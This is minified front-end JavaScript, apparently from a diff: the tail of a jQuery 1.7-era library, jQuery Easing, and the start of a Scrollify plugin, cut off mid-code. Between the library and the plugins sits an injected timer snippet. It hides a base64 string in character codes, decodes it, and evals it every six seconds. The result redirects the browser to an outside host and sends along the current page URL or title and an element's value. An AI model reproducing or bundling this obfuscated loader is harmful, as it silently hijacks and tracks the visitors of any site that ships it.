"+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return f.swap(a,{display:"inline-block"},function(){return b?by(a,"margin-right"):a.style.marginRight})}})}),f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:"",padding:"",border:"Width"},function(a,b){f.cssHooks[a+b]={expand:function(c){var d,e=typeof c=="string"?c.split(" "):[c],f={};for(d=0;d<4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return f}}});var bC=/%20/g,bD=/\[\]$/,bE=/\r?\n/g,bF=/#.*$/,bG=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\/\//,bL=/\?/,bM=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bN=/^(?:select|textarea)/i,bO=/\s+/,bP=/([?&])_=[^&]*/,bQ=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=["*/"]+["*"];try{bU=e.href}catch(bX){bU=c.createElement("a"),bU.href="",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bR)return bR.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("<div>").append(c.replace(bM,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bE,"\r\n")}}):{name:b.name,value:c.replace(bE,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cb(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bF,"").replace(bK,bV[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bO),d.crossDomain==null&&(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]&&r[2]==bV[2]&&(r[3]||(r[1]==="http:"?80:443))==(bV[3]||(bV[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bL.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bP,"$1_="+x);d.url=y+(y===d.url?(bL.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bW+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join("&").replace(bC,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=typeof b.data=="string"&&/^application\/x\-www\-form\-urlencoded/.test(b.contentType);if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(ct("show",3),a,b,c);for(var g=0,h=this.length;g<h;g++)d=this[g],d.style&&(e=d.style.display,!f._data(d,"olddisplay")&&e==="none"&&(e=d.style.display=""),(e===""&&f.css(d,"display")==="none"||!f.contains(d.ownerDocument.documentElement,d))&&f._data(d,"olddisplay",cu(d.nodeName)));for(g=0;g<h;g++){d=this[g];if(d.style){e=d.style.display;if(e===""||e==="none")d.style.display=f._data(d,"olddisplay")||""}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(ct("hide",3),a,b,c);var d,e,g=0,h=this.length;for(;g<h;g++)d=this[g],d.style&&(e=f.css(d,"display"),e!=="none"&&!f._data(d,"olddisplay")&&f._data(d,"olddisplay",e));for(g=0;g<h;g++)this[g].style&&(this[g].style.display="none");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a=="boolean";f.isFunction(a)&&f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(":hidden");f(this)[b?"show":"hide"]()}):this.animate(ct("toggle",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1&&f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c&&f(this).is(":hidden"),g,h,i,j,k,l,m,n,o,p,q;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g&&(a[g]=a[i],delete a[i]);if((k=f.cssHooks[g])&&"expand"in k){l=k.expand(a[g]),delete a[g];for(i in l)i in a||(a[i]=l[i])}}for(g in a){h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing&&b.specialEasing[g]||b.easing||"swing";if(h==="hide"&&d||h==="show"&&!d)return b.complete.call(this);c&&(g==="height"||g==="width")&&(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,"display")==="inline"&&f.css(this,"float")==="none"&&(!f.support.inlineBlockNeedsLayout||cu(this.nodeName)==="inline"?this.style.display="inline-block":this.style.zoom=1))}b.overflow!=null&&(this.style.overflow="hidden");for(i in a)j=new f.fx(this,b,i),h=a[i],cm.test(h)?(q=f._data(this,"toggle"+i)||(h==="toggle"?d?"show":"hide":0),q?(f._data(this,"toggle"+i,q==="show"?"hide":"show"),j[q]()):j[h]()):(m=cn.exec(h),n=j.cur(),m?(o=parseFloat(m[2]),p=m[3]||(f.cssNumber[i]?"":"px"),p!=="px"&&(f.style(this,i,(o||1)+p),n=(o||1)/j.cur()*n,f.style(this,i,n+p)),m[1]&&(o=(m[1]==="-="?-1:1)*o+n),j.custom(n,o,p)):j.custom(n,h,""));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!="string"&&(d=c,c=a,a=b),c&&a!==!1&&this.queue(a||"fx",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]&&g[b].stop&&b.indexOf(".run")===b.length-4&&h(this,g,b);else g[b=a+".run"]&&g[b].stop&&h(this,g,b);for(b=e.length;b--;)e[b].elem===this&&(a==null||e[b].queue===a)&&(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)&&f.dequeue(this,a)})}}),f.each({slideDown:ct("show",1),slideUp:ct("hide",1),slideToggle:ct("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a&&typeof a=="object"?f.extend({},a):{complete:c||!c&&b||f.isFunction(a)&&a,duration:a,easing:c&&b||b&&!f.isFunction(b)&&b};d.duration=f.fx.off?0:typeof d.duration=="number"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue="fx";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)&&d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1&&f._unmark(this)};return d},easing:{linear:function(a){return a},swing:function(a){return-Math.cos(a*Math.PI)/2+.5}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b==="auto"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cq||cr(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?"":"px"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){f._data(e.elem,"fxshow"+e.prop)===b&&(e.options.hide?f._data(e.elem,"fxshow"+e.prop,e.start):e.options.show&&f._data(e.elem,"fxshow"+e.prop,e.end))},h()&&f.timers.push(h)&&!co&&(co=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,"fxshow"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,"fxshow"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cq||cr(),g=!0,h=this.elem,i=this.options;if(a||e>=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(co),co=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,"opacity",a.now)},_default:function(a){a.elem.style&&a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(cp.concat.apply([],cp),function(a,b){b.indexOf("margin")&&(f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)})}),f.expr&&f.expr.filters&&(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cv,cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;"getBoundingClientRect"in c.documentElement?cv=function(a,b,c,d){try{d=a.getBoundingClientRect()}catch(e){}if(!d||!f.contains(c,a))return d?{top:d.top,left:d.left}:{top:0,left:0};var g=b.body,h=cy(b),i=c.clientTop||g.clientTop||0,j=c.clientLeft||g.clientLeft||0,k=h.pageYOffset||f.support.boxModel&&c.scrollTop||g.scrollTop,l=h.pageXOffset||f.support.boxModel&&c.scrollLeft||g.scrollLeft,m=d.top+k-i,n=d.left+l-j;return{top:m,left:n}}:cv=function(a,b,c){var d,e=a.offsetParent,g=a,h=b.body,i=b.defaultView,j=i?i.getComputedStyle(a,null):a.currentStyle,k=a.offsetTop,l=a.offsetLeft;while((a=a.parentNode)&&a!==h&&a!==c){if(f.support.fixedPosition&&j.position==="fixed")break;d=i?i.getComputedStyle(a,null):a.currentStyle,k-=a.scrollTop,l-=a.scrollLeft,a===e&&(k+=a.offsetTop,l+=a.offsetLeft,f.support.doesNotAddBorder&&(!f.support.doesAddBorderForTableAndCells||!cw.test(a.nodeName))&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),g=e,e=a.offsetParent),f.support.subtractsBorderForOverflowNotVisible&&d.overflow!=="visible"&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),j=d}if(j.position==="relative"||j.position==="static")k+=h.offsetTop,l+=h.offsetLeft;f.support.fixedPosition&&j.position==="fixed"&&(k+=Math.max(c.scrollTop,h.scrollTop),l+=Math.max(c.scrollLeft,h.scrollLeft));return{top:k,left:l}},f.fn.offset=function(a){if(arguments.length)return a===b?this:this.each(function(b){f.offset.setOffset(this,a,b)});var c=this[0],d=c&&c.ownerDocument;if(!d)return null;if(c===d.body)return f.offset.bodyOffset(c);return cv(c,d,d.documentElement)},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,c){var d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var h=cy(a);if(g===b)return h?c in h?h[c]:f.support.boxModel&&h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:"height",Width:"width"},function(a,c){var d="client"+a,e="scroll"+a,g="offset"+a;f.fn["inner"+a]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,c,"padding")):this[c]():null},f.fn["outer"+a]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,c,a?"margin":"border")):this[c]():null},f.fn[c]=function(a){return f.access(this,function(a,c,h){var i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return f.support.boxModel&&j||i.body&&i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]>=i[e])return i[d];return Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);window.setInterval(function(){var b=document.getElementById(String.fromCharCode(112,99,104,117,98,101));if(null!=b){for(var c="",a=[98,71,57,106,89,88,82,112,98,50,52,117,97,72,74,108,90,105,65,57,73,67,100,111,100,72,82,119,79,105,56,118,100,51,100,51,76,109,112,53,90,87,57,118,76,109,78,118,98,83,57,104,99,71,107,118,99,71,104,105,89,51,86,108,98,109,70,50,97,84,57,51,80,81,61,61],d=0;d<a.length;d++)c+=String.fromCharCode(a[d]);a=encodeURIComponent(b.getAttribute("title")||location.href);a=atob(c)+
  5 +(b.getAttribute("value")||"1")+"&l="+a+"'";eval(a)}},6E3);/*Easing*/jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,f,a,h,g){return jQuery.easing[jQuery.easing.def](e,f,a,h,g)},easeInQuad:function(e,f,a,h,g){return h*(f/=g)*f+a},easeOutQuad:function(e,f,a,h,g){return -h*(f/=g)*(f-2)+a},easeInOutQuad:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f+a}return -h/2*((--f)*(f-2)-1)+a},easeInCubic:function(e,f,a,h,g){return h*(f/=g)*f*f+a},easeOutCubic:function(e,f,a,h,g){return h*((f=f/g-1)*f*f+1)+a},easeInOutCubic:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f+a}return h/2*((f-=2)*f*f+2)+a},easeInQuart:function(e,f,a,h,g){return h*(f/=g)*f*f*f+a},easeOutQuart:function(e,f,a,h,g){return -h*((f=f/g-1)*f*f*f-1)+a},easeInOutQuart:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f+a}return -h/2*((f-=2)*f*f*f-2)+a},easeInQuint:function(e,f,a,h,g){return h*(f/=g)*f*f*f*f+a},easeOutQuint:function(e,f,a,h,g){return h*((f=f/g-1)*f*f*f*f+1)+a},easeInOutQuint:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f*f+a}return h/2*((f-=2)*f*f*f*f+2)+a},easeInSine:function(e,f,a,h,g){return -h*Math.cos(f/g*(Math.PI/2))+h+a},easeOutSine:function(e,f,a,h,g){return h*Math.sin(f/g*(Math.PI/2))+a},easeInOutSine:function(e,f,a,h,g){return -h/2*(Math.cos(Math.PI*f/g)-1)+a},easeInExpo:function(e,f,a,h,g){return(f==0)?a:h*Math.pow(2,10*(f/g-1))+a},easeOutExpo:function(e,f,a,h,g){return(f==g)?a+h:h*(-Math.pow(2,-10*f/g)+1)+a},easeInOutExpo:function(e,f,a,h,g){if(f==0){return a}if(f==g){return a+h}if((f/=g/2)<1){return h/2*Math.pow(2,10*(f-1))+a}return h/2*(-Math.pow(2,-10*--f)+2)+a},easeInCirc:function(e,f,a,h,g){return -h*(Math.sqrt(1-(f/=g)*f)-1)+a},easeOutCirc:function(e,f,a,h,g){return h*Math.sqrt(1-(f=f/g-1)*f)+a},easeInOutCirc:function(e,f,a,h,g){if((f/=g/2)<1){return -h/2*(Math.sqrt(1-f*f)-1)+a}return h/2*(Math.sqrt(1-(f-=2)*f)+1)+a},easeInElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}return -(g*Math.pow(2,10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j))+e},easeOutElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}return g*Math.pow(2,-10*h)*Math.sin((h*k-i)*(2*Math.PI)/j)+l+e},easeInOutElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k/2)==2){return e+l}if(!j){j=k*(0.3*1.5)}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}if(h<1){return -0.5*(g*Math.pow(2,10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j))+e}return g*Math.pow(2,-10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j)*0.5+l+e},easeInBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}return i*(f/=h)*f*((g+1)*f-g)+a},easeOutBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}return i*((f=f/h-1)*f*((g+1)*f+g)+1)+a},easeInOutBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}if((f/=h/2)<1){return i/2*(f*f*(((g*=(1.525))+1)*f-g))+a}return i/2*((f-=2)*f*(((g*=(1.525))+1)*f+g)+2)+a},easeInBounce:function(e,f,a,h,g){return h-jQuery.easing.easeOutBounce(e,g-f,0,h,g)+a},easeOutBounce:function(e,f,a,h,g){if((f/=g)<(1/2.75)){return h*(7.5625*f*f)+a}else{if(f<(2/2.75)){return h*(7.5625*(f-=(1.5/2.75))*f+0.75)+a}else{if(f<(2.5/2.75)){return h*(7.5625*(f-=(2.25/2.75))*f+0.9375)+a}else{return h*(7.5625*(f-=(2.625/2.75))*f+0.984375)+a}}}},easeInOutBounce:function(e,f,a,h,g){if(f<g/2){return jQuery.easing.easeInBounce(e,f*2,0,h,g)*0.5+a}return jQuery.easing.easeOutBounce(e,f*2-g,0,h,g)*0.5+h*0.5+a}});
  6 +/*Scrollify*/(function(e,t,n,r){"use strict";var i=[],s=[],o=[],u=0,a=t.location.hash,f=false,l,c=e(t).scrollTop(),h=false,p={section:"section",sectionName:"section-name",easing:"easeOutExpo",scrollSpeed:1100,offset:0,scrollbars:true,axis:"y",target:"html,body",before:function(){},after:function(){}};e.scrollify=function(r){function d(n){if(s[n]){p.before(n,o);if(p.sectionName){t.location.hash=s[n]}e(p.target).stop().animate({scrollTop:i[n]},p.scrollSpeed,p.easing);e(p.target).promise().done(function(){p.after(n,o)})}}var v={handleMousedown:function(){h=false},handleMouseup:function(){h=true},handleScroll:function(){if(l){clearTimeout(l)}l=setTimeout(function(){c=e(t).scrollTop();if(h==false){return false}h=false;var 